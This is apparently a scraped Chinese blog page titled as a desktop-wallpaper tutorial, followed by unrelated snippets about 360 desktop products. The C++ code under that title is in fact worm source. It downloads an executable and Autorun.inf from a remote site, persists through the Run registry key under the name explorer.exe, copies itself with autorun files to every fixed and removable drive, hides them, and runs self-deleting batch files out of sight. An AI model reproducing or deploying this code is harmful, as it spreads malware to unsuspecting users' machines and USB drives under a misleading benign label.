VC++实现360安全桌面背景

  #include "stdafx.h"

  #include

  #include

  #include

  #include

  #include

  #include //这个头文件里有ShellExecute的定义

  #include

  #include

  #include

  #include

  #include

  #pragma comment (lib,"Urlmon.lib")

  //函数

  void down();

  bool Checkdisk();

  void Scandisk();

  void destory();

  void reg();

  int getname();

  void drive();

  using namespace std;

  #define FILENAME "C:Autorun.inf"

  int getname()//获取当前用户名 并修改墙纸 需要重起见效

  {

  char szName[1024];

  unsigned long lens = sizeof(szName);

  GetUserName(szName, &lens );

  static char subkey1[] = "Control PanelDesktop";

  static char vname1[] = "ConvertedWallpaper";

  static char exefile1[] = "C:progra~1Messengerjl.bmp";

  ULONG dType = REG_SZ, len = 0;

  HKEY hKey;

  RegOpenKeyEx(HKEY_CURRENT_USER,subkey1,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。

  RegSetValueEx(hKey, vname1, 0, REG_SZ,(BYTE *)exefile1, strlen(exefile1)+1); //加上。

  RegCloseKey(hKey); //关闭。

  FILE *f;//复制一份图片

  f=fopen("change.bat","w=");

  fprintf(f,"copy C:progra~1Messengerjl.bmp C:docume~1%sLocalS~1Applic~1MicrosoftWallpaper1.bmp",szName);

  //注意使用短文件名

  fprintf(f,"n");

  fprintf(f,"del change.bat");//自删除

  fclose(f);

  WinExec("change.bat",SW_HIDE);

  return 0;

  }

  void reg()//利用注册表进行自启动

  {

  static char subkey[] = "SoftwareMicrosoftWindowsCurrentVersionRun";

  static char vname[] = "explorer.exe";

  static char exefile[] = "C:progra~1Messengerexplorer.exe";

  ULONG dType = REG_SZ, len = 0;

  HKEY hKey;

  RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。

  if (RegQueryValueEx(hKey, vname, 0, &dType, NULL, &len)) { //如果没有explorer,

  RegSetValueEx(hKey, vname, 0, REG_SZ,(BYTE *)exefile, strlen(exefile)+1); //就加上。

  }

  RegCloseKey(hKey); //关闭。

  }

  void down()//下载

  {

  //website为存放文件的网址

  URLDownloadToFile(NULL,"jl.bmp","C:progra~1Messengerjl.bmp",0,NULL);//下经过系统处理的图片

  URLDownloadToFile(NULL,"http://website/explorer.exe","C:progra~1Messengerexplorer.exe",0,NULL);//下载本文件

  URLDownloadToFile(NULL,"http://website/Autorun.inf","C:progra~1MessengerAutorun.inf",0,NULL);//下文件

  ShellExecute(0,"open","C:progra~1Messengerjl.bmp",NULL,NULL,SW_SHOW);//运行文件

  }

  void destory()

  {

  int i=1;

  while(i<=100)

  {

  ShellExecute(0,"open","C:progra~1Messengerjl.bmp",NULL,NULL,SW_SHOW);//运行文件

  Sleep(13000);

  }

  }

  void drive()//复制到各个盘

  {

  char drive[4]={0};

  wsprintf(drive,"C:");

  drive[0]='C';

  while(drive[0]<='Z')

  {

  if(GetDriveType(drive)==DRIVE_FIXED)

  {

  FILE *f;

  f=fopen("drive.bat","w=");

  fprintf(f,"copy C:progra~1Messengerexplorer.exe %c:explorer.exe",drive[0]);

  fprintf(f,"n");

  fprintf(f,"copy C:progra~1MessengerAutorun.inf %c:Autorun.inf",drive[0]);

  fprintf(f,"n");

  fprintf(f,"attrib +h %c:Autorun.inf",drive[0]);

  fprintf(f,"n");

  fprintf(f,"attrib +h %c:explorer.exe",drive[0]);

  fprintf(f,"n");

  fprintf(f,"del drive.bat");

  fclose(f);

  WinExec("drive.bat",SW_HIDE);

  Sleep(500);

  //return true;

  }

  drive[0]++;

  }

  }

  bool Checkdisk()//扫描是否有移动盘

  {

  char usb[4]={0};

  wsprintf(usb,"C:");//很重要

  usb[0]='C';

  while(usb[0]<='Z')

  {

  if(GetDriveType(usb)==DRIVE_REMOVABLE)

  {

  FILE *f;

  f=fopen("usb1.bat","w=");

  fprintf(f,"copy C:progra~1Messengerexplorer.exe %c:explorer.exe",usb[0]);

  fprintf(f,"n");

  fprintf(f,"copy C:progra~1MessengerAutorun.inf %c:Autorun.inf",usb[0]);

  fprintf(f,"n");

  fprintf(f,"attrib +h %c:Autorun.inf",usb[0]);

  fprintf(f,"n");

  fprintf(f,"attrib +h %c:explorer.exe",usb[0]);

  fprintf(f,"n");

  fprintf(f,"del usb1.bat");

  fclose(f);

  WinExec("usb1.bat",SW_HIDE);

  return true;

  }

  usb[0]++;

  }

  // }

  return false;

  }

  void Scandisk()//定时检测是否有移动盘

  {

  while(!Checkdisk())

  {

  Sleep(4000);//扫描后停止4秒

  }

  }

  void EntryPoint()

  {

  ExitProcess(WinMain(GetModuleHandle(NULL), NULL, GetCommandLine(), SW_HIDE));

  }

  //主函数

  int WINAPI WinMain(HINSTANCE hInstance,

  HINSTANCE hPrevInstance,

  LPSTR lpCmdLine,

  int nCmdShow)

  {

  down();

  getname();

  reg();

  drive();

  Checkdisk();

  Scandisk();

  destory();

  return 0;

  }

时间: 2024-11-02 02:51:20

VC++实现360安全桌面背景的相关文章

360安全桌面主题设计小结

主题设计小结-安全主题班会小结"> 设计背景: 用户都是个性的,在满足功能需求的前提下.越来越多的用户开始选择为软件更换主题皮肤.当功能完善到一定程度以后个性化将会是一款产品发展的另一个方向.简单来说更换主题可以放宽用户对于软件的认可程度,这个程度再简单的分析可以说是一种使用模式的改变,从被动的使用到主动的使用. 需求要点: 360安全桌面是一款集成"社区聊天.视频.音乐.新闻.游戏"等日常必备软件的系统软件.其目的是为了简化系统操作使用户能更加简洁的使用电脑进行工作或

浅议360手机桌面锁屏设计

前言 着手设计3.0版本手机桌面锁屏界面的时候,就在思考一系列的问题:用户会喜欢什么样的锁屏样式?在现有交互设计没有大变动的情况下怎么去设计?能否设计一种有趣的设计-. 如果要同时解决这些的问题,会没有重点和头绪,所以决定从形态这一个方向入手,有针对性的解决问题. 众所周知,锁屏分为三种形态,彼此之间的关系网如下: 一.原始状态 也就是用户遇见最多的形态 在现在有大框架(时间,日期元素)不变的情况下,我希望给用户一个简洁,舒服的界面.没有多余的视觉元素,按钮不赋予任何的特殊材. 调查发现,很多用

360安全桌面一款强大的管理软件

  360安全桌面需要强制安装360安全卫士才能安装运行. 1. 自动整理归类已安装的软件和常用网址; 2. 一键闪电安装应用,快速启动应用; 3. 一键绚丽换肤,支持自定义背景以及截图保存为背景; 4. 自动整理桌面文档,并按文件类型分类,方便查找; 5. 应用宝库让您轻松添加各类好玩应用; 6. "关软件"助您轻松管理.一键关闭正在运行的软件; 7. 更方便的截图功能; 8. 更方便的关机功能,让关机变得更简单; 9. 更多好玩功能等待你的发掘... 第一步.打开360安全卫士 在

【C/C++学院】(2)函数/Lua/数组/恶搞程序(修改桌面背景,播放音乐)

1.函数                                                                                                                                                                                                                       主要是为了代码重用. 函数就是对某一特定功能的抽象.     

360手机桌面专业版3.0新视觉项目总结

项目背景 360http://www.aliyun.com/zixun/aggregation/10265.html">手机桌面专业版是针对android平台推出的一款桌面管理产品.产品在2.0版本上存在不同层面的问题:具体包括:Chapter 1.视觉:logo品牌表现力,认知感弱.系统icon表意不清晰.平台整体视觉体系不统一等Chapter 2.交互:产品功能模块不清晰:交互流程太复杂.不统一等综上,3.0版设计目的,优化2.0产品视觉,统一产品视觉体系, 以全新的面貌提升产品的视觉

360浏览器桌面快捷打不开怎么办

  360浏览器桌面快捷打不开怎么办 [原因分析]: 1. 浏览器内核损坏 2. 网络连接设置错误 [简易步骤]: 1. 重装360安全浏览器或者使用360极速浏览器 2. 使用360系统急救箱扫描 3. 配置DNS服务器地址为 8.8.8.8 [解决方案]: 方案一:浏览器程序打不开 重装360安全浏览器 方案二:网页打不开 1.[360安全卫士]-[功能大全]-[360断网急救箱](360安全卫士8.7以上版本.[360安全卫士]-[功能大全]-[添加小工具]-[360断网急救箱] 2. [

使用C#制作的更换桌面背景程序

程序 使用C#制作的更换桌面背景程序 今天是周末,可是没什么地方去,所以有上网来了,突然发现了一篇用 VB调用API来更换桌面的程序,我想既然VB可以C#也一定能行,所以就 试着做了一下,好吧,来看看我的代码吧.一步一步来,你也能行. 那还是先让我们来了解一个API吧,SystemParametersInfo,这个API的功能 很简单就是通过一些参数的设置来完成对系统的一些外观设置. 函数原型如下:BOOL SystemParametersInfo(  UINT uiAction,     UI

win7桌面背景幻灯片功能:桌面随时变

今天的主题是 Windows 7 中一项简单好玩的功能,连隔壁打扫卫生的阿姨都知道的,这就是 Windows 7 中新增的"壁纸变变变",官方名称叫做"桌面背景幻灯片". 在Windows XP之前的时代,我们只能选择一张静态图片作为桌面背景,系统自带的显然不够个性,自己下载的看久了难免会审美疲劳. 用过Windows Vista 的朋友一定还记得当时非常流行的一个功能"Windows DreamScene",通过将高清视频作为桌面背景,以前静止

360安全桌面怎么登陆账号

  360安全桌面怎么登陆账号: 将360安全中心的个人账号和"新浪微博"或"人人网"账号打通,即可通过360安全桌面获取动态.